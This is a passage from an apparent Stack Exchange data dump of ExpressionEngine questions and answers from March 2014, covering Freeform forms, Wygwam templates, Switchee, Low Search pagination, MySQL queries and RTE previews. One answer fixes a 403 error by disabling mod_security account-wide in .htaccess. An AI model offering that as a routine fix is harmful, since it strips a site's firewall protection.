this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form /* Your other parameters here */}&#xA;&#xA;  &amp;lt;h3&amp;gt;Choose your events&amp;lt;/h3&amp;gt;&#xA;  {exp:channel:entries channel=&quot;events&quot; orderby=&quot;date&quot; dynamic=&quot;no&quot;}&#xA;      &amp;lt;input type=&quot;checkbox&quot; name=&quot;form_events[]&quot; value=&quot;{entry_id}&quot; /&amp;gt;{title} - {entry_date format=&quot;%Y-%m-%d&quot;}&amp;lt;br /&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&#xA;  // The rest of the form&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This way you have control over the checkbox labels, the ordering, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above field example will save your selected &quot;event&quot; channel entries as newline-delimited entry_ids in the &lt;code&gt;form_events&lt;/code&gt; Freeform custom field. Please note that the brackets &lt;code&gt;[]&lt;/code&gt; in &lt;code&gt;name=&quot;form_events[]&quot;&lt;/code&gt; are necessary in HTML forms to submit and save an &lt;em&gt;array&lt;/em&gt; of form data.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-04T12:09:32.757" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19953" PostTypeId="1" CreationDate="2014-03-04T12:10:42.883" Score="2" ViewCount="500" Body="&lt;p&gt;I'm using ExpressionEngine v2.7.2 and Wygwam v3.2.2 and I want to be able to add a custom template to the toolbar, to be able to add custom markup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked at the documentation for both CKEditor and Wygwam, but it's so confusing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that under &lt;code&gt;third-party/wygwam/ckeditor/plugins/templates/&lt;/code&gt; there are two folders, &lt;code&gt;dialogs&lt;/code&gt; and &lt;code&gt;templates&lt;/code&gt;. And it looks like the folder &lt;code&gt;templates&lt;/code&gt; is the one that is the default one. What are the steps I need to go from here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my Wygwam configuration in Expression Engine CP, I can add &lt;code&gt;Advanced Settings&lt;/code&gt;. But should I choose &lt;code&gt;templates&lt;/code&gt; or &lt;code&gt;templates_files&lt;/code&gt;? If I choose &lt;code&gt;template_files&lt;/code&gt;, this is filled out by default: &lt;code&gt;plugins/templates/templates/default.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This I reckon is the file from third-party/wygwam/ckeditor/plugings/templates/?&#xA;Would that mean that I can just add &lt;code&gt;plugins/templates/myCustomTemplate/default.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried that and it comes up blank when I click the button in the wygwam editor. This is really confusing, any pointers?&lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2015-06-02T01:18:58.003" Title="Wygwam - Creating a custom template" Tags="|wygwam|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19955" PostTypeId="1" CreationDate="2014-03-04T12:28:37.490" Score="2" ViewCount="84" Body="&lt;p&gt;so this is my second store site I am developing. &#xA;and I never did a store v2.x site - so my question might be obvious... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so my customer has defined 3 shipping options:&lt;br&gt;&#xA;1. switzerland 10.-&lt;br&gt;&#xA;2. europe 15.-&lt;br&gt;&#xA;3. international 18.- &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so I've thought I make 3 shipping methods with the &quot;default shipping plugin&quot;:&lt;br&gt;&#xA;1 switzerland (with country = switzerland)&lt;br&gt;&#xA;2 europe&lt;br&gt;&#xA;3 international  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think that could work rather well. Would you do that the same way? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or would you rather create only one shipping option and then first put switzerland, then all the countries of europe, and leave the rest for international orders. I know that this method would involve more work at the beginning, but customers woudn't have to choose the shipping options themselfs and they coudn't cheat that way - am I right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you have any tipps on what's the best way?&lt;br&gt;&#xA;If the first option is best, maybe a word on how to preselect the shipping method automatically? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;any help appreciated!&lt;br&gt;&#xA;stephan&lt;/p&gt;&#xA;" OwnerUserId="388" LastActivityDate="2014-04-05T01:45:31.997" Title="shipping switzerland, europe - international regions - how to?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19956" PostTypeId="2" ParentId="19950" CreationDate="2014-03-04T12:42:14.403" Score="4" Body="&lt;p&gt;The nested instances of switchee &lt;strong&gt;should not&lt;/strong&gt; have the &lt;code&gt;exp&lt;/code&gt; prefix.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{variable_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;{variable_1}&quot;}&#xA;&#xA;        {switchee variable=&quot;{variable_2}&quot; parse=&quot;inward&quot;}&#xA;            {case value=&quot;{variable_2}&quot;}  some text {/case}&#xA;            {case default=&quot;yes&quot;} some other text {/case}&#xA;        {/switchee}&#xA;&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;     nothing to show&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can test both variables at once:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{variable_1}/{variable_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;{variable_1}/{variable_2}&quot;}&#xA;        some text&#xA;    {/case}&#xA;&#xA;    {case value=&quot;{variable_1}/&quot;}&#xA;        some other text&#xA;    {/case}&#xA;&#xA;    {case}&#xA;&#xA;    {case value=&quot;/&quot;}&#xA;        nothing to show&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You should know that &lt;code&gt;variable_1&lt;/code&gt; and &lt;code&gt;variable_2&lt;/code&gt; need to be parsed before switchee or this code &lt;strong&gt;will not&lt;/strong&gt; work.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2014-04-18T13:47:14.847" LastActivityDate="2014-04-18T13:47:14.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19957" PostTypeId="1" AcceptedAnswerId="19980" CreationDate="2014-03-04T13:11:23.130" Score="3" ViewCount="272" Body="&lt;p&gt;I've just updated EE from 2.5.3 to 2.7.3 and gone from a local testing environment (using Focus Lab Master Config) to a remote server. All works great apart from in my search results (using Low Search). If I click past the second pagination link, the link starts with my local test domain!!! WTF?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done a DB dump and tried to grep to find any instances of this local address and the only thing I see is in the developer logs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever come across anything like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've cleared the contents of my ee cache directory as well. No joy.&lt;/p&gt;&#xA;" OwnerUserId="308" LastActivityDate="2014-03-04T19:34:32.050" Title="Weird pagination issue with test domain appearing in links!" Tags="|low-search|pagination|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19958" PostTypeId="2" ParentId="19957" CreationDate="2014-03-04T13:25:53.070" Score="1" Body="&lt;p&gt;Try completing the Comment Page URL fields in Channel Preferences. It's what Low Search uses for auto paths to multiple channels. Then double check it's not being overridden in FLMC.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-03-04T13:25:53.070" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19959" PostTypeId="2" ParentId="19904" CreationDate="2014-03-04T13:27:41.140" Score="0" Body="&lt;p&gt;I have absolutely zero clue why, but today it suddenly works. Maybe I tried something in my sleep or something.&lt;/p&gt;&#xA;" OwnerUserId="1525" LastActivityDate="2014-03-04T13:27:41.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19960" PostTypeId="1" CreationDate="2014-03-04T14:00:24.783" Score="0" ViewCount="136" Body="&lt;p&gt;I was using view count on one of my templates, and recently I noticed it had stopped working. The only thing which is different about my set-up since the last time i noticed it was working was&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I am now using Focus Lab's Master Config instead of the regular config file&lt;/li&gt;&#xA;&lt;li&gt;I have set up both APC and Memcache, to speed up the site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Will any of these things stop view count from working and if so, is there a way around it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have added &lt;code&gt;$env_config['relaxed_track_views'] = 'y';&lt;/code&gt; to the master config file but no success so far.&lt;/p&gt;&#xA;" OwnerUserId="940" LastActivityDate="2014-04-04T15:45:23.760" Title="View Count not working" Tags="|channel-entries|tracking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19961" PostTypeId="2" ParentId="19910" CreationDate="2014-03-04T14:06:33.300" Score="0" Body="&lt;p&gt;I asked Mark over twitter and he replied:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;@siebird usually (but not always) conditionals that are 'owned' by&#xA;  tags are 'prepped' but not actually evaluated until the end of&#xA;  parsing.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which I did not know, so that explains the &lt;code&gt;stash:set&lt;/code&gt; parsing every time through the matrix loop. As I stated above, adding the &lt;code&gt;replace=&quot;no&quot;&lt;/code&gt; parameter fixed the issue. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2014-03-04T14:06:33.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19962" PostTypeId="1" CreationDate="2014-03-04T14:24:18.230" Score="1" ViewCount="194" Body="&lt;p&gt;I'm trying to execute a query similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SET @last_date = NULL;&#xA;SELECT&#xA;    IF(dates.first_entry = 1, DATE_FORMAT(FROM_UNIXTIME(col_id_122), '%W, %M %d'), NULL) start_date,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_122), '%H:%i') start_time,&#xA;    col_id_122 start_epoch,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_124), '%W, %M %d') end_date,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_124), '%H:%i') end_time,&#xA;    col_id_124 end_epoch,&#xA;    col_id_126 session_title,&#xA;    col_id_128 name_this_field,&#xA;    col_id_130 entry_group,&#xA;    first_entry,&#xA;    entries entries_for_date FROM exp_channel_grid_field_288&#xA;NATURAL JOIN (&#xA;    SELECT row_id, CASE WHEN jc = CAST(COALESCE(@last_date, 1) AS DATE) THEN 0 ELSE 1 END first_entry, @last_date := jc start_date FROM (&#xA;        SELECT row_id, CAST(FROM_UNIXTIME(col_id_122) AS DATE) jc FROM exp_channel_grid_field_288 ORDER BY jc&#xA;    ) d&#xA;) dates&#xA;RIGHT JOIN (&#xA;    SELECT COUNT(jc) entries, jc FROM ( SELECT row_id, CAST(FROM_UNIXTIME(col_id_122) AS DATE) jc FROM exp_channel_grid_field_288 ORDER BY jc ) c GROUP BY jc&#xA;) entries ON dates.start_date = entries.jc&#xA;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT * FROM (&#xA;SELECT&#xA;    NULL start_date,&#xA;    NULL start_time,&#xA;    NULL start_epoch,&#xA;    NULL end_date,&#xA;    NULL end_time,&#xA;    NULL end_epoch,&#xA;    NULL title,&#xA;    NULL name_this_field,&#xA;    NULL entry_group,&#xA;    NULL first_entry,&#xA;   NULL entries_for_date&#xA;FROM ( SELECT @last_date := NULL ) blank&#xA;UNION SELECT&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_122), '%W, %M %d') start_date,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_122), '%H:%i') start_time,&#xA;    col_id_122 start_epoch,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_124), '%W, %M %d') end_date,&#xA;    DATE_FORMAT(FROM_UNIXTIME(col_id_124), '%H:%i') end_time,&#xA;    col_id_124 end_epoch,&#xA;    col_id_126 title,&#xA;    col_id_128 name_this_field,&#xA;    col_id_130 entry_group,&#xA;    first_entry,&#xA;    entries entries_for_date FROM exp_channel_grid_field_288&#xA;NATURAL JOIN (&#xA;    SELECT row_id, CASE WHEN jc = @last_date THEN 0 ELSE 1 END first_entry, @last_date := jc start_date FROM (&#xA;        SELECT row_id, CAST(FROM_UNIXTIME(col_id_122) AS DATE) jc FROM exp_channel_grid_field_288 ORDER BY jc&#xA;    ) d&#xA;) dates&#xA;RIGHT JOIN (&#xA;    SELECT COUNT(jc) entries, jc FROM ( SELECT row_id, CAST(FROM_UNIXTIME(col_id_122) AS DATE) jc FROM exp_channel_grid_field_288 ORDER BY jc ) c GROUP BY jc&#xA;) entries ON dates.start_date = entries.jc&#xA;) date LIMIT 1, 18446744073709551615;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They both execute as if the @session_variable is not being used.  Does Expression Engine do something to escape the &lt;code&gt;@&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="2728" LastActivityDate="2014-03-04T14:24:18.230" Title="Can I use MySQL session variables within a query in my template?" Tags="|templates|grid|query|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19963" PostTypeId="2" ParentId="19920" CreationDate="2014-03-04T15:05:23.727" Score="1" Body="&lt;p&gt;OK, I'm just about there.   I was trying to combine multiple uploads into one field.  So I am now using two file upload fields and the fields were successfully entered into the form database table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My issue now is that on the update form (exp:freeform:edit), I am only able to view one of the files.  My code is below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;fieldset&amp;gt;                    &#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;380&quot;&amp;gt;&amp;lt;strong&amp;gt;Statement of Interest&amp;lt;/strong&amp;gt;: (File format: .docx or .pdf)&amp;lt;/label&amp;gt;&#xA;            {freeform:field:file_statement show=&quot;1&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;    &amp;lt;p&amp;gt;&amp;lt;label for=&quot;379&quot;&amp;gt;&amp;lt;strong&amp;gt;Transcript&amp;lt;/strong&amp;gt;: (File format: .docx or .pdf)&amp;lt;/label&amp;gt;&#xA;            {freeform:field:file_transcript show=&quot;1&quot;}&amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;completed&quot; id=&quot;completed&quot; value=&quot;Yes&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; class=&quot;btn btn-primary&quot; value=&quot;Submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/fieldset&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can't find documentation that states how to view and update multiple files on the freeform:edit form.&#xA;Any help is appreciated.&#xA;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-03-04T15:05:23.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19964" PostTypeId="2" ParentId="19925" CreationDate="2014-03-04T15:44:28.027" Score="1" Body="&lt;p&gt;Found what the issue was, seems obvious to me now. I was using an exp:channel:entries tag wrapped around the template to generate the fields for the page itself (just title in this case), this of course caused an issue because I was calling another exp:channel:entries tag inside of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to get around this I would need to place the entire {exp:store:checkout} -- all the stuff --{/exp:store:checkout} in its own embed, not just the 2nd {exp:channel:entries} tag.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2014-03-04T15:44:28.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19965" PostTypeId="1" CreationDate="2014-03-04T15:50:35.877" Score="1" ViewCount="257" Body="&lt;p&gt;All of a sudden, I'm unable to add/remove files (using a vanilla file field) from channel entries. No dialog appears, no error in the page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The console does show errors - but I'm not sure how to address them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; Found third party scripts in &amp;lt;head&amp;gt; tag.&#xA;  Please use cp-&amp;gt;add_to_foot() to add scripts. jQuery and the EE global will be moved down in a future release.&#xA;  [Inline Script]&#xA;x Uncaught TypeError: Object [object Object] has no method 'uniform' admin.php?S=41030c226a249b2e59509a17309f7282&amp;amp;D=cp&amp;amp;C=content_publish&amp;amp;M=entry_form&amp;amp;channel_id=6&amp;amp;entry…:2005&#xA;x Uncaught ReferenceError: _EE_uploader_attached is not defined &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2806" LastActivityDate="2014-04-11T13:55:35.927" Title="'Add file'/'Remove file' in channel entry not working, console errors" Tags="|file-uploads|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19966" PostTypeId="2" ParentId="19957" CreationDate="2014-03-04T16:15:31.260" Score="1" Body="&lt;p&gt;It sounds like your local domain pp.dev has been saved in the database as the site url and it's either not being overridden properly by your config or LS is using the db version.&lt;/p&gt;&#xA;" OwnerUserId="1186" LastActivityDate="2014-03-04T16:15:31.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19967" PostTypeId="1" CreationDate="2014-03-04T16:17:52.090" Score="2" ViewCount="253" Body="&lt;p&gt;For example, can I set the following to set one chosen recipient to be sent to multiple emails?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:freeform:form&#xA;    form_name=&quot;request_a_quote&quot;&#xA;    recipients=&quot;yes&quot; &#xA;    recipient1=&quot;email.A@site.com|email.B@site.com&quot; &#xA;    recipient2=&quot;email.C@site.com&quot; &#xA;    recipient3=&quot;email.D@site.com,email.D@site.com&quot; &#xA;    required=&quot;name|email|phone_number&quot;}&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2015-10-06T22:05:47.483" Title="Can multiple Freeform recipients be set per drop-down option?" Tags="|solspace-freeform|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19968" PostTypeId="2" ParentId="19922" CreationDate="2014-03-04T16:32:15.190" Score="1" Body="&lt;p&gt;Another option, if this is a big security issue, is to build an extension that hooks into either Profile:Edit or the underlying Channel Form and validates the POST array before it is processed any further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at the extension hooks available in Profile Edit and/or Channel Form and you find one that is called before the profile is updated. You can then just use the PHP &lt;code&gt;unset()&lt;/code&gt; function to remove any offending data from the POST array.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-04T16:32:15.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19969" PostTypeId="2" ParentId="19946" CreationDate="2014-03-04T16:42:30.207" Score="1" Body="&lt;p&gt;The Moblog module simply creates entries from emails. It is admittedly a bit finicky though. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you verify that the entries are being created in your channel from the emails that you have sent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then you simply output the entries using the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, just like you would for any other channel entry.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-04T16:42:30.207" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19970" PostTypeId="1" CreationDate="2014-03-04T16:50:47.593" Score="1" ViewCount="49" Body="&lt;p&gt;Using P&amp;amp;T Assets, assuming I have two files in my Assets folder (folder_id=&quot;2&quot;), one having the keyword &quot;tinman&quot; associated with it, the other with &quot;scarecrow&quot;, shouldn't this template code return them both?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;              &amp;lt;ul&amp;gt;&#xA;                {exp:assets:files folder_id=&quot;2&quot; keywords=&quot;tinman|scarecrow&quot;}&#xA;                  &amp;lt;li&amp;gt;&#xA;                      &amp;lt;a href=&quot;{url}&quot;&amp;gt;&#xA;                        {title}&#xA;                      &amp;lt;/a&amp;gt; &#xA;                  &amp;lt;/li&amp;gt;&#xA;                {/exp:assets:files}&#xA;              &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It doesn't seem to work for me. The keyword parameter only accepts one term and won't respect the &quot;|&quot; delimiter.&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-03-04T16:50:47.593" Title="Can't make keyword delimiters work in Assets Files tag" Tags="|assets|pixelandtonic|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19973" PostTypeId="1" AcceptedAnswerId="20060" CreationDate="2014-03-04T18:47:23.083" Score="0" ViewCount="123" Body="&lt;p&gt;We need to grab the html/content from multiple instances of the RTE and perform a live preview of the content. It's easy to do with just one instance of the RTE using something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;channel_name&quot; rte_selector=&quot;.ee-rte&quot;}&#xA;    &amp;lt;textarea class=&quot;ee-rte&quot;&amp;gt;{field_tag}&amp;lt;/textarea&amp;gt;&#xA;{/exp:channel:form}&#xA;&#xA;&amp;lt;div id=&quot;preview&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;...&#xA;&#xA;var out = $('#preview');&#xA;var content = $('.WysiHat-editor');&#xA;content.on('keyup', function(){ out.html(content.html()); }); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, because you can't assign each auto-inserted RTE an ID, you can't match the input to the output because we're using the &lt;code&gt;$('.WysiHat-editor')&lt;/code&gt; selector which grabs any and all RTEs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using &lt;code&gt;.each()&lt;/code&gt; but haven't been able to make it work. Our client specifically asked for a live preview, lest we'd be using livelook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, as an aside, does anybody know why &lt;code&gt;exp:channel:form&lt;/code&gt; trucates &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags when it populates fields (divs, textareas, etc.)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I've been trying it and I've made some progress but it's still buggy and not working they way it should.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var count = 0;&#xA;$('.WysiHat-editor').each(function(i){&#xA;    $(this).attr('id', 'wysi-' + i);&#xA;    count += i;&#xA;});&#xA;&#xA;$('.out').each(function(i){&#xA;    $(this).attr('id', 'out-' + i);&#xA;});&#xA;&#xA;for (var k = 0; k &amp;lt; count; k++) {&#xA;    $('#wysi-' + k).on('keypress keyup keydown paste change focus blur', function(){ &#xA;            $('#out-' + k).html($(this).html()); &#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1931" LastEditorUserId="1931" LastEditDate="2014-03-04T20:52:19.003" LastActivityDate="2014-03-06T22:49:17.720" Title="Live preview using multiple instances of the EE RTE" Tags="|javascript|jquery|rte|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19974" PostTypeId="1" AcceptedAnswerId="25601" CreationDate="2014-03-04T18:58:15.097" Score="6" ViewCount="401" Body="&lt;p&gt;I've just set up a new testing environment and a brand new copy if EE 2.8 for testing new Add-Ons. After installing the latest MX Title Control (2.8.4) i can't seem to get it to work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never had any problems with MX Title Control with older versions of EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone experiencing the same problem?&lt;/p&gt;&#xA;" OwnerUserId="1231" LastActivityDate="2014-12-15T00:19:44.987" Title="MX Title Control - Not working with EE 2.8.0?" Tags="|mx-title-control|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19975" PostTypeId="1" AcceptedAnswerId="20014" CreationDate="2014-03-04T19:06:31.303" Score="1" ViewCount="101" Body="&lt;p&gt;Based on the PFD Press documentation:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;Formatting the PDF File&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;  &#xA;  &lt;p&gt;Formatting the PDF file is as simple as creating a special CSS file&#xA;  and referencing it in the  tag in your template. Use the media&#xA;  attribute and set it to &quot;pdf&quot;. This will cause the PDF Press to use&#xA;  the stylesheet (and it will be ingnored in your browser)&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;&amp;lt;link href=&quot;{site_url}css/pdf.css&quot; rel=&quot;stylesheet&quot; media=&quot;pdf&quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I have created mine CSS styes sheet and added to the header&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&quot;{stylesheet='styles/pdf'}&quot; rel=&quot;stylesheet&quot; media=&quot;pdf&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Style sheet is loaded by the site but not added to generated PDF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clue what can be wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-05T19:52:01.533" Title="PDF Press and CSS" Tags="|add-on|pdf-press|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19976" PostTypeId="2" ParentId="18691" CreationDate="2014-03-04T19:10:20.433" Score="0" Body="&lt;p&gt;Ok this is the solution I finally found thanks to Ellis Lab and my webhost Eleven2. Ellis Lab discovered it was a 403 issue doing some testing on my account and I passed along the information to Eleven2 and they fixed it with the solution below. I hope this helps anyone else hosting on Eleven2 or anywhere else that's having this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was an issue with the mod_security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can give the following lines in the .htaccess file of the account to fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_security.c&amp;gt;&#xA;SecFilterEngine Off&#xA;SecFilterScanPOST Off&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2014-03-04T19:10:20.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19977" PostTypeId="1" CreationDate="2014-03-04T19:10:34.697" Score="1" ViewCount="106" Body="&lt;p&gt;I have a site set up with 2 languages using Transcribe and Structure and I am now adding a third. One section is a stockist list. The only way I could get this to work, without having to double/triple up on entering stockist information which is the same for each language, was to enter each stockist via the Publish tab (not using Structure) and then link it to the relevant country's state for each language (set up using Structure), using a Playa field (see at the bottom of this question). However, this is very cumbersome and a pain for my client to have to select the same named state for each language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;English tree in Structure:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gsFnx.png&quot; alt=&quot;English tree in Structure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;French tree in Structure&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rGZNE.png&quot; alt=&quot;French tree in Structure&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that I am adding another language the problem has become worse. I now need to revisit every single stockist and chose the related state for the NEW language in the Playa field! Surely there must be an easier way? Is it possible to find the ID's of the related entries in the different languages so that I only need to choose the English entry and the French and German (and any other new language) are automatically selected as related? And then add this to my template somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Current Playa field in the Stockist entry Publish tab. Cumbersome.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0Tj7I.png&quot; alt=&quot;Playa field in Stockist entry&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help - I hope my explanation is clear!&lt;/p&gt;&#xA;" OwnerUserId="285" LastActivityDate="2014-05-04T01:28:46.530" Title="Finding related Transcribe entries for use with Playa and Structure" Tags="|playa|structure|transcribe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
